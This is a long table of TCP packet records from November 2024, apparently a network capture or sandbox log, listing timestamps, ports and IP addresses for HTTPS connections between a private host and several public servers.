Nov 7, 2024 23:47:27.493947029 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.493979931 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.494003057 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.494009972 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.494034052 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.494035959 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.494076014 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.494081974 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.494782925 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.494808912 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.494837046 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.494910002 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.494920015 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.495479107 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.495512962 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.495538950 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.495563984 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.495572090 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.495596886 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.496324062 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.496349096 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.496378899 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.496406078 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.496412039 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.496436119 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.496537924 CET	443	49738	142.250.185.164	192.168.2.5
Nov 7, 2024 23:47:27.496959925 CET	49738	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:47:27.496974945 CET	443	49738	142.250.185.164	192.168.2.5
Nov 7, 2024 23:47:27.497128010 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.497268915 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.497992039 CET	443	49738	142.250.185.164	192.168.2.5
Nov 7, 2024 23:47:27.498146057 CET	49738	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:47:27.498837948 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.498843908 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.499070883 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.499298096 CET	49738	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:47:27.499368906 CET	443	49738	142.250.185.164	192.168.2.5
Nov 7, 2024 23:47:27.507807016 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.539813995 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.539828062 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.551345110 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.551690102 CET	49738	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:47:27.551704884 CET	443	49738	142.250.185.164	192.168.2.5
Nov 7, 2024 23:47:27.552298069 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552333117 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552361965 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552388906 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552419901 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.552419901 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.552433014 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552623987 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552654982 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552680016 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.552685022 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552695036 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.552736044 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.552736044 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.553253889 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.554316998 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.554410934 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.554446936 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.554452896 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.554481030 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.554506063 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.554950953 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.555020094 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.555025101 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.555134058 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.557275057 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.557328939 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.557349920 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.557359934 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.557451963 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.557744980 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.557861090 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.558743954 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.558830023 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.559135914 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.559336901 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.559879065 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.559956074 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.596919060 CET	49738	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:47:27.667599916 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.667655945 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.667665005 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.667714119 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.667726994 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.667944908 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.668250084 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.668262005 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.687016010 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.687058926 CET	443	49741	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.687210083 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.687450886 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.687464952 CET	443	49741	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.733953953 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.733973026 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.733987093 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.734225988 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.734237909 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.734360933 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.753180027 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.753196001 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.753386974 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.753393888 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.753487110 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.770107031 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:27.771171093 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:27.771182060 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:27.772180080 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:27.772373915 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:27.773129940 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:27.773194075 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:27.773344994 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:27.773350000 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:27.816934109 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:27.850996017 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.851011038 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.851161957 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.851175070 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.851474047 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.869839907 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.869857073 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.869930029 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.869937897 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.869987965 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.869987965 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.871541977 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.871548891 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.871649981 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.871649981 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.871656895 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.871726036 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.872536898 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.872553110 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.872728109 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.872734070 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.872802973 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.968471050 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.968488932 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.968600988 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.968614101 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.968672991 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.986634970 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.986650944 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.986731052 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.986731052 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.986737967 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.986795902 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.987514973 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.987529039 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.987698078 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.987704039 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.987971067 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.988584995 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.988598108 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.988677025 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.988677979 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.988682032 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.988776922 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.989483118 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.989504099 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.989742994 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.989747047 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.989975929 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.990560055 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.990575075 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.990670919 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.990675926 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.990782976 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.991353035 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.991365910 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.991429090 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.991434097 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:27.991461992 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:27.991498947 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.085267067 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.085344076 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.085372925 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.085407972 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.085489035 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.085489035 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.085503101 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.085516930 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.131237984 CET	49743	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.131269932 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.131337881 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.131373882 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.131407976 CET	49743	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.131515026 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.131719112 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.131731987 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.132131100 CET	49743	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.132143974 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.137341976 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.137358904 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.137492895 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.137656927 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.137665033 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.139369965 CET	49745	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.139408112 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.139545918 CET	49745	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.139739990 CET	49745	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.139754057 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.139962912 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.139977932 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.140127897 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.140151024 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.140160084 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.146502972 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.146524906 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.146534920 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.146559954 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.146583080 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.146591902 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.146600962 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.146620035 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.146620035 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.146728039 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.148693085 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.148711920 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.148772001 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.148783922 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.148798943 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.148890972 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.250319004 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.250344992 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.250443935 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.250458002 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.250613928 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.250813007 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.250879049 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.250900030 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.250986099 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.251532078 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:28.251545906 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:28.275755882 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:28.275778055 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:28.275913000 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:28.277162075 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:28.277173042 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:28.278700113 CET	49748	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.278742075 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.278892994 CET	49748	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.280443907 CET	49748	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.280457973 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.282891035 CET	443	49741	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.283642054 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.283652067 CET	443	49741	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.284642935 CET	443	49741	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.284698963 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.285185099 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.285248995 CET	443	49741	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.285262108 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.285315990 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.285326958 CET	443	49741	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.285337925 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.285367012 CET	49741	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.285761118 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.285794973 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.286305904 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.286497116 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.286510944 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.308525085 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:28.308561087 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:28.308681011 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:28.308861971 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:28.308876991 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:28.329668999 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.329684019 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.329737902 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.329782963 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.329811096 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.329880953 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.329893112 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.329909086 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.329962015 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.330147028 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.330153942 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.330219030 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.330760956 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.330773115 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.331324100 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.331336021 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.333308935 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.333318949 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.333782911 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.333796024 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.334526062 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:28.334547997 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:28.334773064 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:28.335102081 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:28.335113049 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:28.350739002 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.350758076 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.350840092 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.351764917 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.351778030 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.359440088 CET	49758	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.359448910 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.359508038 CET	49758	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.359731913 CET	49758	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.359749079 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.863023996 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.868144035 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.868170023 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.868361950 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.869719982 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.869725943 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.869950056 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.870716095 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.870735884 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.871191978 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.871196985 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.872869968 CET	49745	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.872898102 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.873708963 CET	49745	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.873714924 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.879143000 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.893596888 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.898577929 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.901323080 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.906111956 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.906121969 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.906584978 CET	49748	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.906600952 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.906929016 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.907051086 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.907064915 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.907141924 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.907202959 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.907308102 CET	49743	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.907335043 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.907794952 CET	49748	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.907864094 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.908230066 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.908283949 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.909279108 CET	49743	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.909290075 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.909931898 CET	49748	443	192.168.2.5	172.67.191.88
